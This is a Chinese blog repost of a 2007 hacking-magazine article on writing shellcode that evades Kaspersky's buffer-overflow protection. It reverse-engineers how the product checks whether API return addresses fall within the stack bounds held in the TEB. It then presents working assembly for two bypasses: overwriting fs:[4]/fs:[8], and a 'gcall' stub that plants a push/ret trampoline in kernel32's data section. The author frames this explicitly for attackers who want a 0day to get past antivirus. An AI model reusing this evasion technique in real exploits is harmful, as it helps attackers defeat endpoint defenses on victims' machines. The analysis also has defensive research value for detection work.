编写绕过卡巴主动防御的Shellcode

本文已经发表在《黑客防线》2007年8月刊。作者及《黑客防线》保留版权,转载请注明原始出处。

适合读者:溢出爱好者
前置知识:汇编语言、Shellcode基本原理
编写绕过卡巴主动防御的Shellcode
文/图 gyzy[江苏大学信息安全系&EST]
现 在主动防御的概念已经深入人心,市面上已经有不少安全产品加入了防范缓冲区溢出的功能,典型代表就是Macfee和卡巴,作为一个攻击者,就得想法设法的 绕过,假如一个0day被拦截的话,就前功尽弃了。这我就以卡巴为例子,详细讲一下如何尽量少的修改原Shellcode来穿透卡巴的壁垒。

知己知彼
要想绕过卡巴,必须首先了解卡巴是怎么判断溢出的发生的,卡巴通过挂接GetProcAddress、LoadLibraryA、LoadLibraryW等函数,根据返回地址是否在栈中来判断是否发生了栈溢出。卡巴Hook的GetProcAddress代码如图1:
编写绕过卡巴主动防御的Shellcode
点击在新窗口中浏览此图片
图1
图中的jmp指令是跳到了卡巴的驱动中,大致可以猜测判断是否溢出的代码就在其中,判断的关键代码如下:
lkd> u f287BE8F
f287be8f 8b442404 mov eax,dword ptr [esp+4]
f287be93 56 push esi
f287be94 8b74240c mov esi,dword ptr [esp+0Ch]
f287be98 6a00 push 0
f287be9a 56 push esi
f287be9b 6880be87f2 push 0F287BE80h
f287bea0 8d4c2414 lea ecx,[esp+14h]
f287bea4 50 push eax
….中间省略了一部分代码
lkd> u f287b0b0
f287b0b0 55 push ebp
f287b0b1 8bec mov ebp,esp
f287b0b3 83ec24 sub esp,24h
f287b0b6 64a104000000 mov eax,dword ptr fs:[00000004h]
f287b0bc 8945f8 mov dword ptr [ebp-8],eax
f287b0bf 64a108000000 mov eax,dword ptr fs:[00000008h]
f287b0c5 8945fc mov dword ptr [ebp-4],eax
f287b0c8 8b4508 mov eax,dword ptr [ebp+8]
其中f287b0d4处的几条比较指令可能就是判断溢出与否的关键,上面有两条指令也特别值得注意:
mov eax,dword ptr fs:[00000004h]
mov eax,dword ptr fs:[00000008h]
Fs寄存器指向的是TEB,TEB中的第一项数据结构是/*000*/ NT_TIB,其结构如下:
typedef struct _NT_TIB {
struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // 00h Head of exception
// record list
PVOID StackBase; // 04h
PVOID StackLimit; // 08h
PVOID SubSystemTib; // 0Ch
union { // 10h
PVOID FiberData; // for TIB
ULONG Version; // for TEB
};
PVOID ArbitraryUserPointer; // 14h Available
// for application use
struct _NT_TIB *Self; // 18h Linear address
// of TEB structure
} NT_TIB;
Fs:[4]和Fs:[8]分别是当前线程的栈基址和栈顶,现在思路就比较明朗了,卡巴就是通过检测GetProcAddress等关键API的返回地址是否处于栈中来判定栈溢出的发生。

针锋相对
既然知道了卡巴是如何检测的,那么绕过也不难了。既然卡巴是检测API的返回地址,那么我们可以通过迂回的方式来绕过卡巴的检测,具体实现如下:
修 改TEB中Fs:[4]和Fs:[8]的值来使卡巴认为返回地址不在栈中.就是上面Shellcode中在call之前注释掉的部分mov dword ptr fs:[4],0x0012FFFF和mov dword ptr fs:[8],0x0012FFFF。在测试的时候发现使用这一方法能使GetProcAddress绕过卡巴的检测,但是LoadLibrary系列却 不行,百思不得其解,若有高人知道,请指教(可能TEB跟线程有关,LoadLibrary涉及到多线程方面的一些问题)。
就是在内存中找一个相 对固定又可写可执行的地址写入push 返回地址 ret这样一系列的指令,然后再将函数返回地址指向其来绕过卡巴的检测。具体的实现如下:在原来调用API的地方,如call dword ptr [edi-4] // LoadLibraryA
使用如下方法来代替:
mov edx,dword ptr [edi-4] // LoadLibraryA
call gcall
其中gcall代码如下:
// ============ 绕过缓冲区溢出检查的call ============
//
// 输入参数:
// edx 函数地址
// 0x7C884000
gcall:
pop eax //将真正的返回地址保存到eax
mov ecx,0x7C884000
push ecx
mov byte ptr [ecx],0x68 //push指令
mov dword ptr [ecx+1],eax //写入地址
mov byte ptr [ecx+5],0xC3 //写入ret指令
jmp edx //执行真正的函数
0x7C884000是Kernel32数据段的地址,当然,可以用其它等价的地址替换。这样的话修改原来的shellcode也比较方便,只需要在关键函数调用就可以了,假如是利用hash比较查找API地址的话那就只需要在LoadLibrary的地方调用就可以了。

测试
测试中我使用了三段不同的shellcode,分别是使用了方法2绕过和方法1(失败)和没使用任何绕过的shellcode,对于检测到的缓冲区溢出,卡巴会提示,如图2:
编写绕过卡巴主动防御的Shellcode
点击在新窗口中浏览此图片
图2
使用了方法2的shellcode则顺利绕过了卡巴,这就不截图了,只是一个简单的显示MessageBox的Shellcode,可以在随文代码中找到。
小结
其 实绕过缓冲区溢出检测的方法远不止这一种,只要搞清楚它的检测原理,绕过并不是什么难事,除了上面说的,假如能够不调用GetProcAddress和 LoadLibrary那当然是最好的了,dll句柄可以通过PEB获得,函数地址通过hash比较获得。希望能给广大黑友带来一点帮助,本人也是菜鸟, 如有错误纰漏,欢迎指正。
(文中所涉及的程序或代码,请到黑防官方网站下载,详细地址请看公共论坛置顶帖)

One thought on “编写绕过卡巴主动防御的Shellcode

  1. Pingback: 伪造返回地址绕过CallStack检测以及检测伪造返回地址的实践笔记 | MyGoGou

Leave a Reply

Your email address will not be published. Required fields are marked *